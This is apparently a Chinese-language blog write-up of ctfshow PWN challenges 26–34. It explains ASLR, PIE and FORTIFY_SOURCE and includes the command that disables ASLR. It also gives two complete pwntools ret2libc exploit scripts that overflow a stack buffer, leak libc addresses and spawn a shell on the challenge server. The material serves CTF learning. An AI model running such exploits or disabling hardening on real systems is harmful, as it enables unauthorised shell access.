Libcsearcher 是一个用于在 CTF (Capture The Flag)比赛和二进制漏洞研究中辅助寻找适当的 libc 版本的工具。它可以通过指定程序的某个函数地址,自动从在线数据库查找匹配的 libc 版本,并提供下载和使用相关 libc 版本的能力。

CTF 和二进制漏洞利用中,libc 版本是非常重要的,因为 libc 中包含了各种系统级函数的实现,如操作文件、内存管理、网络通信等。不同版本的 libc 在这些函数的实现细节上可能有差异,因此掌握正确的 libc 版本对于成功利用漏洞和获取特定功能至关重要。

Libcsearcher 提供了一个简单易用的 Python API,可以通过指定目标程序的函数地址来查找匹配的 libc 版本。它还包含一个在线的 libc 数据库,其中包含了大量的 libc 版本信息。一旦找到匹配的 libc 版本,你可以通过 Libcsearcher 下载相应的 libc 文件,以便在漏洞利用过程中使用。

PWN 26

解题过程

运行程序

通过提示得知,需要修改ALSR的保护参数值,就可以获得隐藏在程序的flag

查看ALSR保护参数值

cat /proc/sys/kernel/randomize_va_space

修改为0

echo 0 > /proc/sys/kernel/randomize_va_space

运行程序后的到Flag

ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}

在IDA中F5分析一下程序

flag的形成时是由函数地址和指针变量地址拼接而成;

总结归纳

ASLR (Address Space Layout Randomization)是一种操作系统级别的安全保护机制,旨在增加软件系统的安全性。它通过随机化程序在内存中的布局,使得攻击者难以准确地确定关键代码和数据的位置,从而增加了利用软件漏洞进行攻击的难度。

开启不同等级会有不同的效果:

  1. 内存布局随机化: ASLR的主要目标是随机化程序的内存布局。在传统的内存布局中,不同的库和模块通常会在固定的内存位置上加载,攻击者可以利用这种可预测性来定位和利用漏洞。ASLR通过随机化这些模块的加载地址,使得攻击者无法准确地确定内存中的关键数据结构和代码的位置
  2. 地址空间范围的随机化: ASLR还会随机化进程的地址空间范围。在传统的地址空间中,栈、堆、代码段和数据段通常会被分配到固定的地址范围中。ASLR会随机选择地址空间的起始位置和大小,从而使得这些重要的内存区域在每次运行时都有不同的位置。
  3. 随机偏移量:ASLR会引入随机偏移量,将程序和模块在内存中的相对位置随机化。这意味着每个模块的实际地址是相对于一个随机基址偏移的,而不是绝对地址。攻击者需要在运行时发现这些偏移量,才能准确地定位和利用漏洞。
  4. 堆和栈随机化: ASLR也会对堆和栈进行随机化。堆随机化会在每次分配内存时选择不同的起始地址,使得攻击者无法准确地预测堆上对象的位置。栈随机化会随机选择栈帧的起始位置,使得攻击者无法轻易地覆盖返回地址或控制程序流程。

在Linux中,ALSR的全局配置/proclsys/kernel/randomize_va_space有三种情况:

  • 0表示关闭ALSR
  • 1表示部分开启(将mmap的基址、stack和vdso页面随机化)
  • 2表示完全开启

ASLR 通过随机化系统中各个模块的地址,使得攻击者无法轻易地猜测这些模块在内存中的具体位置,从而防止他们利用已知的内存布局信息进行攻击。ASLR 主要影响以下几个内存区域:

  1. 栈:栈是用于存储局部变量、函数调用信息等的内存区域。ASLR 会随机化栈的基地址,使得每次程序运行时栈的位置都不同,增加攻击者利用缓冲区溢出等漏洞进行栈溢出攻击的难度。

  2. 堆:堆是动态分配内存的区域,用于存储动态分配的对象和数据结构。ASLR 也会随机化堆的基地址,使得每次程序运行时堆的位置都不同,减少攻击者利用堆漏洞进行攻击的可能性。

  3. PLT:PLT 是用于实现动态链接的一种数据结构,包含了函数的跳转表。ASLR 会对 PLT 的基地址进行随机化,使得每次程序运行时 PLT 的位置都不同,增加攻击者通过覆盖 PLT 表项来劫持程序流程的难度。

  4. 可执行文件(Executable):可执行文件包含了程序的代码和数据,它们需要被加载到内存中才能执行。ASLR 会在加载可执行文件时,随机化其基地址,使得每次加载时可执行文件的位置都不同,防止攻击者利用已知的内存布局信息进行攻击。

PWN 27

解题过程

和pwn 26一毛一样

总结归纳

PWN 28

解题过程

此时不管等级为 0 1 2 ,函数本身地址不会变化(在未开启 PIE 的情况下)
拼接的是main,system函数地址

总结归纳

在未开启PIE的情况下,此时不管等级为0 1 2 ,函数本身地址不会变化

PWN 29

解题过程

运行就完了

IDA中分析了一波,打印的是一个固定的字符串,他就是想告诉你ALSR+PIE都开启只是影响了内存空间的地址,不会影响相对偏移。
 

总结归纳

ASLR和PIE开启后,地址都会将随机化,这里值得注意的是,由于粒度问题,虽然地址都被随机化了,但是被随机化的都仅仅是某个对象的起始地址,而在其内部还是原来的结构,也就是相对偏移是不会变化的。

PWN 30

解题过程

在这里仅仅是为了演示在关闭 Canary PIE 保护,开启 NX 保护时的一种攻击手法。
32 位程序开启 NX ,部分开启 RELRO 保护

IDA中分析,在ctfshow函数中存在栈溢出

buf,用于存储从标准输入读取的数据。该变量在栈上分配,相对于函数栈帧指针ebp的偏移为-0x88。调用read函数从标准输入读取数据。(read函数的第一个参数是文件描述符,这里使用О表示标准输入。第二个参数是指向存储数据的缓冲区的指针,这里是&buf。第三个参数是要读取的最大字节数,这里是0x10ou,即256字节。

程序中无system也没有"/八bin/sh"字符串,也可以使用ret2libc的方法进行get shell 后面到该部分会进行详细讲解,同样在这里仅仅是为了演示在关闭Canary和PIE保护,开启NX保护时的一种攻击手法。

exp

from pwn import *

# 设置 context.log_level 将日志级别设置为调试模式。
# 程序会输出更详细的调试信息,包括发送和接收的数据、函数调用栈等
# 输出的日志信息可以帮助开发者了解程序的执行流程、变量的取值情况等
# 帮助开发者定位漏洞,并进行必要的调试,以实现有效的利用
context.log_level = 'debug'

# 创建了一个 io 对象,与远程服务器建立连接。注释掉的两行代码是使用本地执行二进制文件的方式
#io = process('./pwn')

# libc 对象表示对应的库文件
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
io = remote('pwn.challenge.ctf.show', 28145)

# elf 对象表示可执行文件
elf = ELF('./pwn')
libc = ELF('/home/ctfshow/libc/32bit/libc-2.27.so')

# ctfshow 存储了二进制文件中的 ctfshow 符号地址
ctfshow = elf.sym['ctfshow']

payload = b"A" * 140 +p32(elf.sym['write']) + p32(ctfshow) + p32(1) + p32(elf.got['write']) + p32(4)
io.send(payload)
write_addr = u32(io.recv(4))
system_addr = write_addr - libc.sym['write'] + libc.sym['system']
binsh_addr = write_addr - libc.sym['write'] + next(libc.search('/bin/sh'.encode()))
payload2 = b"B" * 140 + p32(system_addr) + p32(ctfshow) + p32(binsh_addr)
io.send(payload2)

# 调用 io.interactive() 进入交互模式,可以与服务器进行交互,获取 shell。
io.interactive()
  1. elf.sym['write']:表示 ELF 文件中 write 函数的地址。它是静态地址,即在编译链接时确定的函数地址。通常情况下,这个地址在每次程序执行时是固定的,因为它是链接到 ELF 文件中指定的代码段中的函数地址。

  2. elf.got['write']:表示全局偏移表(GOT)中 write 函数的地址。GOT 表是用于实现动态链接的表,在运行时由链接器和操作系统动态地填充相应的函数地址。因此,GOT 表中的地址在每个程序执行的过程中可以发生变化,取决于具体的动态链接过程。

根据返回的结果再去根据偏移计算出地址,构造payload来getshell

总结归纳

程序的基地址固定,攻击者可以更容易地确定内存中函数和变量的位置。

PWN 31

解题过程

checksec

32 位程序仅关闭 Canary 保护
IDA中分析main函数, 可以看到程序先打印出 main 函数的地址,然后跟进 ctfshow 函数

既然程序已经给我们 main 函数的地址了,那么我们就可以通过计算偏移得到程序本身的加载地址

exp

from pwn import *
context.log_level = 'debug'
io = remote("pwn.challenge.ctf.show",28297)
elf = ELF('./pwn')
libc = ELF('/home/ctfshow/libc/32bit/libc-2.27.so')
main = int(io.recvline(),16)
print(hex(main))
base = main - elf.sym['main']
ctfshow = base + elf.sym['ctfshow']
write_plt = base + elf.sym['write']
write_got = base + elf.got['write']
ebx = base + 0x1fc0
payload = b"A" * 132 + p32(ebx) + b"AAAA" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.send(payload)
write = u32(io.recv())
libc_base = write - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'.encode()))
payload = b"B" * 140 + p32(system_addr) + p32(ctfshow) + p32(binsh_addr)
io.send(payload)
io.interactive()

淦,flag忘粘了

总结归纳

即使ALSR和PIE都开始,也可以根据偏移量推算出内存地址

PWN 32

解题过程

checksec

IDA中分析main函数

显然,第一题关闭了此保护,输入的 argv1 明显会导致 buf1 溢出,但是程序仍可以正常运行
而flag获取和Undifined有关
参数个数大于四个,就可以触发

总结归纳

        FORTIFY_SOURCE是一个C/C++编译器提供的安全保护机制,旨在防止缓冲区溢出和其他与字符串和内存操作相关的安全漏洞。它是在编译时自动插入的一组额外代码,用于增强程序对于缓冲区溢出和其他常见安全问题的防护。

FORTIFY_SOURCE提供了以下主要功能:

  1. 运行时长度检查:FORTIFY_SOURCE 会在编译时自动将长度检查代码插入到一些危险的库函数中,例如strcpy 、strcat、 sprintf等。这些代码会检查目标缓冲区的长度,以确保操作不会导致溢出。如果检测到溢出情况,程序会立即终止,从而防止潜在的漏洞利用。
  2. 缓冲区溢出检测:FORTIFY_SOURCE还会将额外的保护机制添加到一些敏感的库函数中,例如memcpy、memmove 、memset等。这些机制可以检测传递给这些函数的源和目标缓冲区是否有重叠,并防止潜在的缓冲区溢出。
  3. 安全警告和错误报告:当FORTIFY_SOURCE检测到潜在的缓冲区溢出或其他安全问题时,它会生成相应的警告和错误报告。

FORTIFY_SOURCE提供了一层额外的安全保护,它可以在很大程度上减少常见的缓冲区溢出和字符串操作相关的安全漏洞。

PWN 33

解题过程

checksec  可以看到现在检测到开启了FORTIFY保护了

IDA中分析

可以看到之前的一些危险函数已经被替换成了安全函数,并且在程序运行时进行检查,此时传入的argv1就触发了检查,抛出异常。同时格式化字符串%2$x和%n依旧可用:

还是4个参数即可   ctfshow{9c3c8fbb-5bd6-4c21-8c0a-752d696236d4}

总结归纳

FORTIFY_SOURCE=1:

启用 Fortify 功能的基本级别。 在编译时进行一些安全检查,如缓冲区边界检查、格式化字符串检查等。 在运行时进行某些检查,如检测函数返回值和大小的一致性。 如果检测到潜在的安全问题,会触发运行时错误,并终止程序执行。

PWN 34

解题过程

checksec   开启了FORTIFY保护,这次等级为2,在这无法体现出

在IDA中分析

在IDA中能看到将printf函数也替换成了安全函数,那么格式化字符串%n也无法利用了,而%N$也 要从%1$开始连续才可用

想拿flag需要程序一路会执行到最后,三个参数即可

ctfshow{5ef65ae6-ae94-47ea-8618-4aa1766c415c}
 

总结归纳

FORTIFY_SOURCE=2:

启用 Fortify 功能的高级级别。 包括基本级别的安全检查,并添加了更多的检查。 在编译时进行更严格的检查,如更精确的缓冲区边界检查。 提供更丰富的编译器警告和错误信息。


http://www.niftyadmin.cn/n/5063430.html

相关文章

【公益项目】你一定要来看看!高中生使用swiftUI调用苹果OCR API,离线扫描图书文字并朗读,帮助视障人士阅读纸质书籍IOS软件

《 ReadingEyes阅目 》是身为高中生和前OIer的我&#xff0c;在暑期构思并学习&#xff0c;利用闲暇时间编写的项目&#xff0c;效果视频已上传至BILIBILI&#xff0c;点此查看 该软件是利用苹果OCR API来实现扫描图书文字并朗读&#xff0c;旨在帮助视障人士阅读纸质书籍的IO…

[中间件~大厂面试题] 腾讯三面,40亿的QQ号如何去重

前言&#xff1a; 在Spring Boot框架下&#xff0c;可以使用以下方法来去重40亿个QQ号.请注意&#xff1a;QQ号码的理论最大值为 2 32 − 1 2^{32} - 1 232−1&#xff0c;大概是43亿左右。 文章目录 提前总结(总分总&#xff5e;&#xff5e;&#xff5e;)最粗鲁的方式1. 使用…

基于Javaweb的护肤品推荐系统 /基于ssm的护肤品销售系统

摘 要 随着信息技术和网络技术的飞速发展&#xff0c;人类已进入全新信息化时代&#xff0c;传统管理技术已无法高效&#xff0c;便捷地管理信息。为了迎合时代需求&#xff0c;优化管理效率&#xff0c;各种各样的管理系统应运而生&#xff0c;各行各业相继进入信息管理时代&a…

vue的生命周期及各个生命周期函数中适合做什么事

生命周期简介 Vue.的生命周期指的是在组件实例创建、挂载、更新和销毁过程中&#xff0c;Vue 提供的一系列方法。这些方法允许我们在不同的阶段执行特定的操作&#xff0c;以满足对组件的定制化需求。 没有生命周期函数的话&#xff0c;我们很多的功能都实现不了。 一、befor…

信息化发展77

1)一网通办 “一网通办”是依托于一体化在线政务服务平台&#xff0c;通过规范网上办事标准&#xff0c;优化网上办事流程&#xff0c;搭建统一的互联网政务服务总门户&#xff0c;整合政府服务数据资源和完善配套制度等措施&#xff0c;推行政务服务事项网上办理&#xff0c;…

秋招,网申测评,认知能力测试

随着秋季的到来&#xff0c;越来越多的企业开始进行职业招聘&#xff0c;在这些招聘中&#xff0c;我们总会看到“认知能力测试”的影子。说到这个测试&#xff0c;很多人可能还不太理解&#xff0c;不知道这种测试是什么。 1、什么是认知能力测试 认知能力是指大脑加工、…

[题]欧拉函数 #欧拉函数

目录 欧拉函数一、用公式求代码 二、线性筛法求欧拉函数扩展欧拉定理 欧拉函数 AcWing 873. 欧拉函数 一、用公式求 定义&#xff1a;1 ~ N 中与 N 互质的数的个数被称为欧拉函数&#xff0c;记为ϕ(N)。 怎么求呢&#xff1f;&#xff1f; 有一个公式&#xff1a; N p1a1 X…

如何做好测试?(十一)可用性测试 (Usability Testing)

1. 可用性测试的详细介绍&#xff1a; 可用性测试 (Usability Testing)是一种评估系统用户界面的有效性、效率和用户满意度的测试方法。它的目标是确保系统对用户友好、易于学习和使用&#xff0c;以提供良好的用户体验。通过可用性测试&#xff0c;可以发现用户在使用系统时可…